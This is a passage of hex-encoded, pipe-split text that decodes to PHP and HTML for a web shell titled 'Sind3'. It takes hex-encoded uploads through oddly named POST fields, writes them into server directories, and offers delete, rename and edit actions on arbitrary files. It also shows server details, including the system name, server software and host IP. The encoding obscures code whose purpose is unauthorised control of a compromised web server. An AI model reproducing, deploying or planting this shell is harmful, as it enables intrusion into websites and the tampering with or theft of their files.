72|6E20|7472|75653B|0A20|20|20|207D20|656C7365|207B|0A|2020|20|202020|20207265|747572|6E2073|747265|61|6D|5F63|6F70795F|746F5F|73|74|726561|6D2824|696E|2C|20|246F75|74292021|3D3D20|66|616C|7365|3B0A20|20|20207D|0A7D|0A|0A|69662028|69|73|73657428|245F504F|5354|5B2762|656E6B|79|6F27|5D292026|2620|69737365|742824|5F|504F53|545B27|6461|6B|656A61|275D29|29207B0A|202020|2024|66696C65|4E|616D6520|3D|20245F|504F|53|545B2762|65|6E6B|796F|275D3B0A|20202020|24656E|63|6F64|65|64436F6E|74|656E74|203D20|24|5F|504F53|545B2764|616B|656A61|275D3B|0A202020|20246465|636F6465|64436F6E|74656E|7420|3D20|68657832|62696E|2824656E|636F|646564|436F6E|74|656E7429|3B0A0A20|2020|20696620|282464|65636F64|65|64436F|6E|7465|6E74|20|3D3D|3D2066|616C7365|2920|7B0A20|20|20202020|20206966|202824|697341|6A617829|20|7B0A|20202020|20|2020|20202020|20|68656164|6572|28|27436F6E|74|656E74|2D54|7970653A|20|6170706C|696361|74|69|6F|6E2F|6A736F|6E27|293B0A|20|20202020|20|2020|202020|206563|686F|20|6A73|6F6E5F|65|6E|636F64|65285B27|737461|747573|27|203D3E|202766|6169|6C6564|272C2027|6D7367|27203D3E|2027496E|76616C69|64|20426173|653634|20656E|636F64|696E|67|275D|293B|0A20|20|20202020|20|207D|2065|6C|7365207B|0A2020|20|20202020|2020|20|202073|657446|6C61|7368|28|27666169|6C|656427|2C2027|496E76|616C|69642042|6173|65|3634|20656E63|6F|64|696E|67|2729|3B|0A|2020|20|2020|20|2020|20|20|202068|656164|657228|224C|6F636174|696F6E|3A203F|643D22|202E20|686578|28|24|642929|3B0A2020|202020|2020|20|7D|0A|2020|20|20|2020|20|2065|78|6974|3B0A|20|20|20|207D0A|0A20|202020|2474656D|705374|726561|6D203D20|666F70|656E28|277068|703A|2F|2F|7465|6D70272C|202772|2B2729|3B0A20|2020|2066|77|726974|652824|7465|6D7053|7472|6561|6D|2C20|24|6465|636F64|6564|436F6E|74656E74|293B0A20|202020|72657769|6E6428|2474|656D|705374|7265|616D293B|0A0A2020|20|20|2474|617267|65745061|7468203D|2024|64202E20|44495245|43544F52|595F5345|50415241|54|4F52|202E|2062|6173|656E616D|65282466|696C|654E|616D|65|29|3B0A20|202020|246F|75|745374|7265616D|203D|20666F70|656E|28247461|72|676574|5061|74682C20|277762|27293B|0A|0A20|2020|202473|75636365|73|73203D20|24|74656D|705374|7265616D|2026|262024|6F7574|53|747265|61|6D|20262620|73|616665|5F737472|6561|6D5F|636F70|79282474|656D70|537472|6561|6D2C2024|6F75|74537472|65616D29|3B0A|0A2020|202069|6620|28246F75|7453|74726561|6D29|2066|636C6F73|6528|246F7574|537472|65616D29|3B0A|20|202020|696620|282474|656D7053|747265|61|6D292066|636C6F73|65|28247465|6D7053|747265|616D|293B|0A0A|20202020|69662028|24|7375|636365|73732920|7B0A2020|2020|2020|20206966|20|282469|7341|6A61|7829|207B|0A2020|202020|2020|20202020|206865|616465|72282743|6F6E7465|6E742D54|7970|653A|206170|706C6963|61|74|696F6E2F|6A736F6E|27|293B0A20|202020|2020|20202020|20|20|656368|6F206A73|6F6E5F|656E|636F6465|28|5B|27737461|7475|732720|3D3E20|27737563|6365|737327|2C2027|6D736727|20|3D3E|202746|696C65|2075706C|6F61|64|6564|20737563|636573|736675|6C6C79|275D293B|0A202020|202020|20|20|7D20656C|7365|207B|0A202020|20|2020|2020|2020|20207365|7446|6C|6173|68282773|7563|636573|7327|2C20|2746|696C6520|75706C|6F616465|6420|7375|63636573|73|66756C6C|792729|3B0A20|202020|20202020|2020|202068|656164|6572|28224C|6F|6361|74696F|6E|3A20|3F|643D22|202E20|68657828|2464|29293B0A|20|20202020|20|20207D|0A|20202020|7D2065|6C7365|207B0A|20202020|202020|206966|20|28|2469|73|416A|617829|20|7B|0A20|202020|20202020|2020|20206865|61646572|2827436F|6E7465|6E742D54|797065|3A206170|706C|69636174|696F|6E2F6A|73|6F6E|27293B|0A2020|2020|2020|202020|2020|206563|686F206A|736F|6E|5F656E|636F|6465285B|27|73|7461|7475|732720|3D|3E|202766|61696C65|6427|2C2027|6D7367|27203D|3E202746|69|6C652075|706C|6F6164|20|66|6169|6C656427|5D|293B0A|20202020|20|202020|7D2065|6C73|6520|7B0A2020|20|20|20202020|20|20202073|65|74|46|6C617368|282766|61696C|656427|2C20|27|46|69|6C65|2075|706C6F|6164|206661|696C|65|6427|29|3B0A20|202020|2020|20202020|20206865|61|646572|28224C|6F636174|69|6F6E3A|203F64|3D22|202E2068|65|782824|6429293B|0A2020|2020|2020|20|20|202020|206578|69743B0A|20202020|2020|2020|7D0A|20|20|20207D0A|20202020|65786974|3B|0A7D|0A|696620|2869|73|73657428|245F47|45|545B|2761|637469|6F6E27|5D2920|26262069|6E5F6172|7261|79|28245F|4745545B|27616374|69|6F6E|275D2C|20|5B|27|6465|6C6574|6527|2C|202772|656E616D|6527|2C202765|6469|74|27|5D29|20262620|6973|73657428|245F47|45545B|276669|6C65|27|5D|292920|7B0A|2020|2020|69|662028|245F47|45|54|5B2761|6374696F|6E275D|203D3D3D|202764|656C6574|65|272920|7B0A|20202020|2020|202024|66696C65|4E616D65|20|3D20|245F4745|545B2766|696C65|275D3B|0A|20|2020|20202020|202466|696C6550|61|7468|20|3D|20726561|6C7061|746828|2464202E|20|44|495245|43544F52|595F5345|50415241|544F52|202E2024|66|696C|654E|616D|65293B|0A|202020|2020|202020|6966|20282124|66|696C6550|617468|207C7C20|2169|735F|66696C|65282466|696C6550|61746829|29|207B0A20|20202020|202020|20202020|2472|6573706F|6E73|6520|3D|205B|277374|6174|757327|3D3E|27|666169|6C6564|272C|276D7367|27|3D3E|27|46|69|6C65|206E6F74|2066|6F75|6E64|20|6F7220|61|63|636573|73|2064|656E6965|6427|5D3B0A20|20|202020|2020|20|7D2065|6C7365|207B|0A|20|20|20202020|20202020|202024|72|6573756C|74|203D2075|6E6C69|6E6B28|2466696C|6550|617468|293B0A|20|2020|202020|20202020|2020|2472|6573706F|6E|7365|203D20|2472|6573756C|74200A20|20202020|20|20202020|202020|2020|203F205B|27|73|746174|75|73273D3E|277375|63|63|6573|7327|2C|276D73|67273D3E|274669|6C65|20|64656C65|7465|64|207375|6363|6573|7366|756C6C79|275D20|0A|2020|2020|20202020|20202020|202020|203A205B|277374|6174|75|73|27|3D3E|2766|61|696C65|64272C27|6D736727|3D3E27|46696C|65206465|6C6574|696F|6E20|6661696C|6564275D|3B0A20|2020|202020|20|207D|0A2020|2020|202020|206865|616465|72|2827|436F|6E7465|6E742D|54797065|3A20|617070|6C696361|74|696F6E|2F6A|73|6F6E27|293B0A20|2020|20|2020|20206563|68|6F20|6A|736F|6E|5F65|6E|636F|64652824|72|6573|706F6E73|65293B|0A|20202020|202020|20|65786974|3B20|0A|20202020|7D20|656C|73656966|2028245F|47|45545B27|6163|74696F6E|275D|20|3D|3D|3D2027|72|656E|616D|652729|207B|0A2020|2020|2020|20206966|2028245F|53455256|45|52|5B275245|51|5545|5354|5F4D|455448|4F44275D|203D3D3D|20|2750|4F|535427|20|262620|697373|657428|24|5F504F53|545B|276E6577|5F6E|616D6527|5D2929|207B0A20|20202020|202020|202020|20246F6C|6446696C|65203D|207265|616C70|617468|282464|20|2E20|44495245|43|54|4F52|595F|53|45504152|41544F|52202E|20245F|4745|545B2766|696C65|275D293B|0A202020|202020|20|202020|202024|6E6577|4669|6C|6520|3D|2024|64202E20|4449|52454354|4F52|595F53|4550|4152|41544F52|202E|20245F50|4F|53|545B276E|65775F|6E61|6D|6527|5D3B|0A2020|202020|2020|20|20202020|69|662028|246F6C|6446696C|65|20|26262069|735F66|696C6528|24|6F6C64|46696C|65|29|2920|7B0A|20|202020|20202020|2020|2020|202020|202472|657375|6C|74|20|3D207265|6E616D|65|2824|6F|6C644669|6C652C|20246E|65|7746|696C65|293B0A|2020|202020|2020|20|2020|2020|20202020|247265|7370|6F6E7365|203D|20|247265|7375|6C|74|200A|2020|20202020|20202020|20|202020|2020|2020|20203F20|5B277374|6174|757327|3D3E2773|75636365|737327|2C276D73|6727|3D3E|2746696C|6520|72656E61|6D656420|7375|6363|6573|7366|756C6C79|275D20|0A202020|20|2020|20|20|20202020|20202020|20202020|3A205B|27|737461|74|757327|3D3E27|6661696C|6564272C|276D73|67273D3E|27|4669|6C|65|207265|6E616D|696E6720|6661|696C6564|275D3B|0A202020|20|202020|2020|2020|20|20|20|2020|6865|61|64657228|27436F6E|7465|6E742D54|7970653A|2061|7070|6C6963|6174|696F6E2F|6A736F6E|2729|3B0A|20|202020|20202020|20202020|2020|20206563|686F206A|736F6E|5F|656E636F|64652824|72657370|6F6E73|6529|3B0A20|202020|2020|20202020|20|20202020|20657869|74|3B0A|20|202020|20202020|20202020|7D|2065|6C73|65207B|0A|20202020|20|20|202020|2020|20202020|20686561|646572|2827|436F|6E74|656E74|2D547970|653A2061|70|70|6C|69|636174|696F6E2F|6A736F|6E2729|3B|0A|2020|202020|202020|20|20|20|2020|202020|6563686F|206A|73|6F6E5F|656E63|6F6465|285B27|7374|6174|757327|3D3E27|66|61696C|65|6427|2C276D|73|67|273D|3E|27|46|69|6C|65|206E|6F74|20|666F756E|6427|5D|293B0A|202020|2020|202020|20202020|20|20202065|7869743B|0A20|20202020|202020|20|2020207D|0A20|202020|20|2020|207D20|656C7365|696620|2824|6973|41|6A617829|20|7B0A20|2020|202020|202020|20202065|63686F|20273C|68|323E52|656E|616D6520|46696C65|3A2027|20|2E|20|68746D|6C7370|65|63|69616C63|686172|7328245F|474554|5B276669|6C65|27|5D2920|2E20273C|2F|68323E|273B0A|20202020|202020|20|20202020|65|63|686F20|273C6469|7620636C|617373|3D22|746572|6D696E|616C2D62|6F78|223E|273B|0A2020|202020|202020|20202020|6563|68|6F|20273C|666F|72|6D|2063|6C|6173733D|22616A|6178466F|72|6D2220|6D|6574686F|643D|22504F|53|5422|20616374|696F6E3D|22|3F616374|69|6F6E3D|72|65|6E|616D|65|26|643D27|20|2E|20|686578|2824|6429202E|2027|266669|6C653D27|20|2E20|75726C65|6E|636F|646528|245F47|45545B27|66|696C65|275D29|202E2027|22|3E273B0A|202020|2020|202020|2020|20|206563|686F2027|3C|696E|70757420|74797065|3D227465|787422|206E|61|6D653D|226E|65|775F6E61|6D|6522|20706C|61|63|65686F|6C6465|72|3D22|4E65|77206669|6C65206E|616D65|22207265|71|756972|65|643E3C|62|723E|273B0A|20202020|20|2020|2020|20202065|6368|6F20273C|62723E3C|69|6E70|7574|2074|7970653D|22737562|6D69|74|222076|61|6C75|653D22|52656E|616D|6522|3E2027|3B0A2020|20202020|20|202020|202065|63|686F|20|273C|62757474|6F6E2074|7970653D|2262|7574|746F|6E|22|206964|3D|226361|6E|63656C41|6374|696F6E|22|3E43|616E|6365|6C3C2F62|75|74|746F|6E|3E273B0A|2020|20202020|202020|20|20|20|6563686F|20|27|3C2F66|6F72|6D|3E27|3B0A|2020|20202020|20202020|20|2065|63|686F20|273C2F|6469|76|3E3C68|723E273B|0A2020|202020|20202020|20|20|20|65|7869743B|0A|2020|20202020|20207D|0A20|2020|207D|2065|6C|736569|66|202824|5F|4745|545B27|61637469|6F6E|275D20|3D3D3D20|2765|6469|7427|29|207B|0A2020|202020|20|2020|696620|2824|5F534552|5645|525B|27524551|55455354|5F4D4554|484F|44275D|203D|3D|3D|2027504F|535427|20|26262069|73736574|28245F|50|4F|53|545B|27636F|6E74656E|74|275D29|29207B0A|20|2020|202020|20202020|20202466|696C|65|5061|746820|3D207265|616C70|61746828|246420|2E20|44495245|43|544F5259|5F|53|45|5041|524154|4F5220|2E20|24|5F47|45|545B2766|69|6C65|275D293B|0A2020|20202020|20|2020|20|2020|6966|20282466|696C|6550|61|7468|202626|2069|73|5F6669|6C6528|24|66|696C6550|617468|2929|207B0A|20202020|20202020|20202020|20202020|2466|70203D|20|66|6F70656E|282466|696C|65506174|682C20|227722|293B0A|2020|2020|2020|2020|20202020|202020|20|69|66|20282466|702920|7B0A|202020|2020|20202020|2020|2020|202020|20|202020|2462|79|74657357|7269|74|74656E|20|3D20|667772|69746528|2466|702C2073|74|72697073|6C617368|65732824|5F50|4F5354|5B27636F|6E74656E|74275D|29293B|0A2020|202020|202020|20202020|202020|20202020|2066|636C6F|736528|246670|293B0A20|20|202020|202020|20|2020|20202020|20|2020|20202472|6573706F|6E|7365203D|202824|62797465|73|57|726974|7465|6E|2021|3D3D2066|616C7365|290A|20202020|20202020|202020|20202020|202020|20|20202020|203F205B|2773|74617475|7327203D|3E2027|73756363|657373|272C|20|276D73|67|27|203D3E20|2746|696C|6520|6564|697465|642073|756363|65|73736675|6C|6C|79275D0A|2020|202020|20202020|2020|2020|20|20202020|2020|20202020|3A205B27|737461|7475|73|27203D3E|202766|61696C65|64|272C2027|6D|7367|27|203D|3E20|274669|6C6520|65646974|696E6720|666169|6C|6564275D|3B|0A202020|202020|202020|202020|20|20|20207D|2065|6C736520|7B|0A|202020|202020|20|202020|20|20|20202020|202020|202472|6573706F|6E|736520|3D|205B|277374|6174|75732720|3D3E2027|6661696C|65|64272C20|27|6D736727|203D3E|202746|696C|65|206F|70|656E696E|67206661|696C65|6427|5D|3B0A20|202020|202020|202020|20202020|20207D0A|20202020|20202020|20|20202020|2020|206865|61646572|28|2743|6F|6E|74|656E74|2D|54|7970653A|20617070|6C|69|63|61|74|696F6E|2F6A736F|6E|2729|3B|0A202020|2020|20|202020|20202020|20|20|20656368|6F206A73|6F6E|5F|65|6E636F|646528|24|7265|7370|6F6E73|6529|3B0A2020|202020|20202020|202020|2020|2020|65786974|3B0A|20202020|20202020|20202020|7D20656C|7365207B|0A20|20202020|202020|20|2020|20202020|20686561|64|6572|282743|6F|6E74656E|742D5479|70|653A2061|7070|6C|69|636174|69|6F6E2F6A|736F6E27|293B0A|20202020|202020|2020|2020|2020|20|20|20656368|6F206A|736F6E5F|656E|636F64|6528|5B277374|617475|732720|3D|3E2027|6661696C|6564|272C20|276D|73|6727203D|3E202746|69|6C65|20|6E6F74|20666F75|6E64275D|293B|0A|202020|20202020|20|20|202020|20|20202065|78|69743B0A|20|2020|20202020|2020|2020|207D20|2020|20|2020|20200A|202020|20202020|20|7D|2065|6C73|656966|202824|69|7341|6A61|7829207B|0A20|20202020|202020|20202020|2466|696C|655061|7468|20|3D|207265|616C7061|74|68|28|24|64|20|2E2044|4952|454354|4F52595F|534550|4152|4154|4F52202E|2024|5F4745|545B|27|66696C|6527|5D293B0A|202020|20|20202020|2020|2020|6966|20|282466|696C|65|5061|746820|2626|20|69735F|66696C|6528|2466|696C6550|6174|68292920|7B0A|20|20|2020|202020|202020|202020|202020|2463|6F6E7465|6E74|203D2066|69|6C65|5F67|65|745F63|6F6E7465|6E747328|2466696C|65506174|6829|3B0A20|202020|2020|2020|2020|20202020|20|2065|63686F|2027|3C6832|3E456469|74|2046696C|65|3A2027|20|2E20|68|746D6C|7370|656369|616C63|68|61727328|24|5F|47|45545B27|66696C65|275D|29|202E|20|273C2F|68323E27|3B0A2020|20202020|20|2020|2020|202020|20|20|656368|6F2027|3C646976|20636C|61|7373|3D22|74|65726D69|6E616C|2D|62|6F7822|3E273B|0A202020|202020|20202020|20|2020|202020|6563|686F|20273C66|6F72|6D2063|6C61|73733D|2261|6A|617846|6F726D22|20|6D657468|6F643D22|504F53|542220|6163|74696F6E|3D22|3F616374|696F6E|3D65|64697426|643D27|202E2068|6578|28|246429|202E|202726|66|696C|653D2720|2E20|75726C|656E63|6F6465|28245F47|45|54|5B27|66696C|65|27|5D29202E|20|27|223E273B|0A202020|20|20|20202020|20202020|202020|6563|686F20|273C74|6578|746172|65|6120|6E616D65|3D22|636F6E74|656E74|22|20726F|77733D|2231|30222063|6F|6C73|3D2235|3022|20726571|75697265|643E2720|2E|2068746D|6C73|70656369|616C|6368|6172|732824|636F6E74|656E|742920|2E20273C|2F74|6578|74617265|613E3C|62723E|27|3B0A20|2020|2020|2020|20|20|20|20202020|2020|6563686F|20|273C6272|3E3C696E|707574|2074|797065|3D|22|7375626D|69742220|76616C75|65|3D22|53|61|76|65|223E20|27|3B0A|202020|20|20202020|2020|20202020|2020|65|6368|6F20|273C|62757474|6F|6E207479|70|653D2262|7574|74|6F6E2220|6964|3D|2263616E|63|656C41|63|7469|6F|6E|22|3E4361|6E63|65|6C3C2F|627574|746F6E3E|273B|0A202020|202020|2020|20|202020|2020|202065|63686F|20273C2F|66|6F726D3E|273B0A|202020|20|20|202020|20202020|2020|20|2065|63686F|20273C2F|6469|763E3C68|723E27|3B0A2020|20202020|2020|20|2020|207D|0A2020|2020|20202020|202020|20657869|743B0A|20|20202020|20|2020|7D0A|20202020|7D0A|7D0A|3F3E0A3C|21444F43|5459|504520|68|746D6C3E|0A3C68|746D6C|3E0A3C|6865|61643E|0A202020|20|3C6D|65|74|612063|686172|7365|743D22|5554462D|38223E|0A2020|2020|3C|7469|746C65|3E5369|6E|64333C2F|746974|6C653E|0A|20202020|3C|212D2D|204C6F61|64|20556275|6E|7475204D|6F6E6F|2066726F|6D20476F|6F|67|6C6520|466F6E74|7320|2D2D3E0A|20202020|3C6C696E|6B|20687265|663D2268|7474|70733A2F|2F666F|6E7473|2E676F|6F67|6C6561|70|6973|2E|636F6D|2F63|737332|3F6661|6D|69|6C793D55|62756E74|752B4D6F|6E6F|2664|6973|706C|61|79|3D73|776170|22|207265|6C3D22|7374|796C65|7368|65|6574|223E0A20|202020|3C737479|6C65|3E|0A202020|2020|2020|202A207B|2062|6F78|2D73697A|696E67|3A|20626F72|6465|722D626F|783B207D|0A2020|2020|2020|202062|6F6479|207B0A|202020|2020|20202020|2020|20626163|6B67|72|6F756E|642D63|6F6C|6F|723A2072|67626128|33372C20|33372C|2033372C|20302E38|293B20|2F2A|20477261|79207769|7468|20736C|69676874|207472|616E|73|70|6172656E|6379|202A2F0A|2020|20202020|20202020|20|20636F|6C|6F723A20|23|666666|3B|0A20|202020|20202020|202020|2066|6F6E742D|66616D69|6C|793A|2027|55|62756E|7475204D|6F6E|6F272C20|6D6F|6E6F|73|70616365|3B0A2020|202020|202020|2020|20206D|61|7267696E|3A20303B|0A202020|20202020|202020|2020|7061|6464696E|673A2030|3B0A|202020|202020|20207D0A|2020|2020|20|20|20|202E|636F6E|746169|6E6572|207B0A|2020|2020|20|202020|20202020|77696474|683A20|3630253B|0A2020|202020|20202020|202020|6D6172|67696E3A|20353070|782061|75|74|6F3B0A20|20202020|20|2020|20202020|706164|64696E|673A2032|307078|3B0A|2020|2020|20202020|20|20|202062|61|63|6B67|72|6F756E64|2D636F6C|6F723A20|233232|32|3B0A20|2020|2020|20202020|2020|20626F|72646572|2D|72616469|75733A20|387078|3B0A20|20202020|2020|207D0A|202020|20202020|202E|6675|74657220|7B|0A2020|20|20202020|202020|20207769|647468|3A|20|36|30|253B|0A|2020|202020|202020|2020|20206D61|7267|696E|3A|20353070|78|20|6175|746F|3B0A20|20202020|2020|20|20202020|7061|64|64696E|673A|203230|70783B|0A20|20|2020|20202020|20202020|6261636B|67726F75|6E64|2D636F6C|6F723A20|23|3232323B|0A20|20|2020|2020|20|2020|20202062|6F72|646572|2D|726164|69|75|73|3A2038|70783B|0A2020|2020|2020|20207D|0A2020|20202020|2020|2E62|726561|64|63|72|756D6273|207B20|6D61|7267696E|2D|626F|74746F6D|3A|203135|70783B20|7D|0A20|20202020|20|20206120|7B20|636F6C6F|723A2023|3066|303B20|74657874|2D646563|6F72|617469|6F|6E|3A206E6F|6E653B|20|7D0A|20|202020|20|202020|613A|686F76|65|72|207B2074|6578742D|6465636F|726174|69|6F6E3A20|756E|6465726C|696E65|3B20|7D|0A202020|2020|2020|20746162|6C6520|7B207769|64|7468|3A|203130|3025|3B20626F|726465|72|2D636F6C|6C|6170|73|653A20|636F6C6C|61707365|3B206D|61|726769|6E2D|746F|70|3A203230|70|78|3B20|7D0A2020|20|20202020|2074682C|207464|207B2062|6F72|64|65723A20|3170|7820736F|6C|6964|2023|353535|3B|20706164|64696E67|3A|20387078|3B2074|6578|742D|61|6C6967|6E3A|206C|656674|3B|207D0A|20202020|202020|20|7468|207B2062|6163|6B|67726F75|6E64|2D636F6C|6F723A20|23333333|3B207D|0A|20202020|20|2020|20|69|6E70|75|745B74|7970653D|227465|7874225D|2C|20|746578|74|61726561|20|7B0A20|20202020|202020|2020|2020|77696474|683A2031|30|30253B0A|20202020|2020|20202020|20207061|6464|69|6E673A20|3870|783B0A20|20202020|2020|20|202020|20|6D617267|69|6E3A20|303B|0A|20|2020|202020|20202020|20|2062|6F7264|6572|3A2031|707820|73|6F|6C696420|23333333|3B0A|2020|2020|20202020|2020|2020|626F72|646572|2D72|616469|75733A|20|34|7078|3B0A|2020|20202020|202020|20|2020666F|6E74|2D6661|6D696C|793A20|275562|756E|7475|204D6F|6E6F27|2C|206D|6F|6E6F7370|616365|3B0A20|20|2020|2020|2020|7D0A|2020|2020|2020|2020696E|7075745B|74|7970653D|2273|7562|6D697422|5D2C|206275|7474|6F6E|207B|0A|20202020|20202020|202020|20626F|726465|723A|20317078|20736F|6C6964|202366|66663B|0A2020|202020|2020|20202020|20706164|64|696E673A|20|3470783B|0A20|20|20|2020|20|20|20|20|2020|20|6261|63|6B6772|6F756E64|2D636F|6C|6F72|3A|202333|33333B0A|20|20202020|2020|2020|202020|636F6C|6F723A|202366|66663B0A|20|202020|20|2020|202020|202063|7572|73|6F|72|3A20|706F69|6E74|65723B|0A2020|20202020|20202020|20|20|626F72|6465|722D7261|6469|75733A20|3470783B|0A|20202020|2020|20|207D0A20|20202020|202020|666F72|6D20|7B|206D61|726769|6E2D|62|6F7474|6F6D|3A2032|3070|78|3B|207D0A20|202020|2020|20202E74|65726D69|6E61|6C2D|626F|78207B|0A|20202020|20202020|20|20202062|61636B67|726F|756E64|2D63|6F|6C6F72|3A|20233232|323B0A|202020|202020|2020|20|202020|636F|6C|6F723A|2023|306630|3B|0A2020|20202020|2020|202020|20|70|61|646469|6E|673A|20|31|3570783B|0A|20202020|20202020|2020|2020|626F7264|65723A20|317078|20736F|6C6964|20|23|3333333B|0A|20|20|2020|20202020|20202020|62|6F72|6465|72|2D7261|64|697573|3A203470|783B0A20|20|2020|20202020|202020|20|6D|617267|696E2D|626F7474|6F6D|3A20|323070|783B0A|202020|20202020|207D0A|202020|20202020|202E7465|726D|696E|61|6C|2D626F78|20696E|70|75745B|74|797065|3D2274|65787422|5D2C0A|20|20202020|20|20202E|74|6572|6D|696E|616C|2D62|6F782074|65|787461|72656120|7B0A2020|20202020|20202020|20|20|62|61636B67|726F756E|642D636F|6C|6F723A20|23|3232323B|0A202020|202020|20202020|202063|6F6C6F72|3A202330|66303B|0A202020|20202020|202020|20|20|626F7264|65723A|20317078|2073|6F6C69|64202333|33333B0A|20202020|2020|20|207D|0A2020|20202020|20202E|6E6F7469|66696361|74696F6E|207B|0A2020|202020|20|20202020|202070|6F7369|7469|6F6E|3A|20|66|69786564|3B|0A|20202020|202020|20202020|20626F74|746F6D|3A2032|307078|3B|0A|202020|20|20|202020|2020|20206C65|6674|3A2032|30|70|783B0A20|202020|20|20202020|20202070|61646469|6E67|3A2031|307078|20|32|3070|783B0A|20|202020|20202020|20|2020|20626F72|6465|72|2D7261|6469|75733A20|3470|783B|0A|202020|202020|20202020|202066|6F6E74|2D66|61|6D696C|793A|202755|62756E|7475|20|4D6F|6E6F27|2C|206D6F|6E6F7370|61|63653B0A|202020|2020|202020|20202020|66|6F6E|74|2D73697A|653A20|31|34|7078|3B0A20|20|20202020|20|207D0A20|202020|2020|2020|2E737563|636573|7320|7B20|62|61|63|6B|67726F75|6E642D|636F6C6F|723A2023|30|61303B20|636F6C6F|723A|20236666|663B207D|0A|2020|20|20|20202020|2E6661|696C65|64|20|7B|20|6261|636B6772|6F|75|6E|642D|636F6C6F|723A2023|6130303B|20636F|6C6F723A|20236666|663B20|7D0A|20202020|202020|202F2A|2043|7573|746F6D20|6669|6C652069|6E|707574|20627574|746F|6E20|7374796C|696E6720|2A2F0A20|20202020|202020|2366|696C|6549|6E|70|75|74207B0A|20|202020|20|20202020|20|2020|64|6973706C|61793A|206E6F6E|653B|0A2020|202020|20|20|207D0A|2020|202020|20|20202E63|7573|746F6D2D|66|696C|65|2D|62757474|6F6E207B|0A20|20|2020|202020|2020|2020|20|62|6F726465|723A|2031|70|782073|6F|6C696420|236666|663B0A|202020|202020|2020|202020|2070|61646469|6E67|3A|2034|70783B0A|20202020|20|2020|2020|20|20|206261|636B67|72|6F|756E|642D636F|6C6F723A|2023|33|3333|3B0A2020|20|20|20202020|2020|202063|6F6C6F|72|3A20|236666|663B0A20|202020|202020|2020|2020|20|63|757273|6F723A|20706F69|6E|746572|3B|0A2020|2020|2020|20202020|2020|626F72|6465722D|72|616469|75733A20|3470|783B0A20|20202020|202020|2020|202064|6973706C|61793A|20696E|6C69|6E652D|626C|6F636B3B|0A2020|20202020|2020|7D|0A202020|203C|2F|737479|6C65|3E0A3C2F|68656164|3E0A|3C626F|6479|3E0A3C64|697620|636C|6173733D|22|636F6E|746169|6E6572|22|3E0A20|20|2020|26|7468|696E7370|3B26|7468696E|73|703B|267468|696E73|703B3C62|3E534552|562020|3A|3C|2F62|3E203C3F|3D206973|73|65742824|5F5345|525645|52|5B2753|4552|5645|525F53|4F46|54574152|4527|5D29203F|2070|68705F75|6E61|6D652829|20|3A2022|53657276|65|7220|696E66|6F726D|6174|69|6F6E20|6E6F|74|206176|61696C|6162|6C6522|3B203F|3E3C62|723E0A20|20202026|74|68696E|73703B26|74|6869|6E|73703B|267468|696E|73703B|3C623E53|4F4654|2020|3A3C2F|623E20|3C3F|706870|20656368|6F2024|5F|534552|56|4552|5B275345|52564552|5F53|4F|46|545741|52|4527|5D|3B3F3E3C|62723E|0A2020|202026|7468696E|73|70|3B26|7468|696E73|70|3B2674|68696E73|703B|3C623E49|50202026|6E627370|3B266E|627370|3B3A|3C2F623E|203C3F3D|20676574|68|6F|73746279|6E616D|6528245F|5345|5256|45525B27|48545450|5F48|4F|5354|275D2920|3F3E|3C6272|3E0A2020|20203C62|723E|3C623E|2623|38|3231|32262338|32|31322623|3832|31|32262338|323132|2623|38323132|26233832|313226|2338|323132|2623|38|32|31|32|2623|383231|3226|2338|3231|3226|23|38|3231|322623|38|32|3132|26|2338|3231|322623|38323132|26|2338|32313226|233832|31|32262338|32313226|233832|31|322623|38323132|26|2338|3231|322623|383231|322623|3832|31|32|2623|383231|322623|383231|32|26233832|31322623|3832|313226|233832|31|32|26233832|313226|23|38|32313226|233832|3132|26233832|31|322623|383231|322623|383231|32262338|323132|262338|32|313226|233832|31|3226|23383231|32262338|3231|32|2623|383231|3226|233832|3132|262338|3231|3226|2338|32|313226|233832|3132|26|2338|323132|262338|32313226|23383231|32262338|323132|26|23|38323132|2623|38323132|26233832|31|32262338|323132|26|23383231|32|26|23|383231|322623|3832|3132|262338|323132|262338|323132|262338|3231|3226|233832|31322623|38323132|26|23|3832|3132|26233832|3132|26233832|31|3226|23383231|32|26233832|31|3226|233832|313226|23383231|322623|383231|3226|23383231|32262338|3231|32262338|32313226|2338|3231|322623|38323132|26233832|3132|2623|383231|322623|38|32313226|2338|3231|32|2623|3832|313226|23383231|32262338|3231|322623|38323132|26|23383231|3226|233832|313226|233832|313226|2338|32|31|32262338|323132|26233832|31|322623|38|323132|26233832|313226|23383231|32|2623|38323132|26233832|31322623|38323132|26233832|3132|2623|38323132|262338|3231|32|26233832|3132|262338|32313226|23|383231|32|262338|32|31322623|3832|3132|26|2338|32|313226|23383231|32262338|32|31322623|3832|31322623|383231|3226|23|38|32|313226|2338|32|31|32262338|3231|32|262338|3231|32262338|32313226|23383231|32|262338|3231|322623|38323132|26|23|3832|31322623|383231|32262338|3231|32|262338|32|31322623|38|323132|26|23383231|32262338|32313226|23|38|3231|32|2623|38323132|2623|38|323132|262338|32313226|23|3832|3132|2623|38323132|26233832|31|3226|23|38|323132|262338|3231|3226|2338|32|313226|2338|3231|32262338|32313226|2338|3231|32|26233832|3132|26|233832|31|32|2623|3832|313226|233832|3132|262338|3231323C|2F623E|0A20|20|20203C62|723E3C|62|723E3C|666F726D|20|69643D22|75|706C6F|6164|466F726D|222063|6C61|73733D|22616A|617846|6F72|6D|22206D65|74|686F64|3D|22|504F5354|223E0A|2020|20|20202020|203C|6C616265|6C20|666F72|3D|22|66696C|6549|6E707574|222063|6C|61|73|733D2263|75|73746F|6D2D|6669|6C652D62|7574|746F|6E|22|206964|3D2266|696C654C|6162656C|223E4368|6F|6F73|65204669|6C653C|2F6C6162|65|6C3E|0A|202020|2020|202020|3C|696E7075|74207479|70653D22|66696C|6522|2069643D|226669|6C|65496E|7075|7422|20|726571|756972|65|64|3E0A20|2020|20202020|203C696E|70757420|74797065|3D|22|7375626D|69742220|76616C|75653D|2255|706C|6F|6164|223E|0A202020|20|3C2F|666F726D|3E0A0A|202020|203C62|723E|3C64|697620|69643D|226272|65|6164|6372|756D62|436F|6E|746169|6E657222|3E0A2020|20|203C3F70|68|700A2020|20|20|246B20|3D207072|65675F73|70|6C|6974|28|222F28|5C|5C5C|5C7C5C|2F292F|222C20|2464293B|0A|20|2020|20666F72|65616368|202824|6B20|61732024|6D|203D3E|20246C|29207B0A|2020|20202020|20|2069|66|20|28|246C|203D|3D2027|2720|2626|20246D20|3D3D2030|29207B0A|20|20202020|20|202020|20202065|63686F|20|273C6120|636C61|7373|3D22|61|6A782220|68|726566|3D223F|643D32|66223E2F|3C2F613E|273B0A20|20202020|20|20207D0A|20|2020|20202020|206966|2028|246C|20|3D3D20|27272920|636F6E|74|69|6E75|653B0A|202020|202020|2020|656368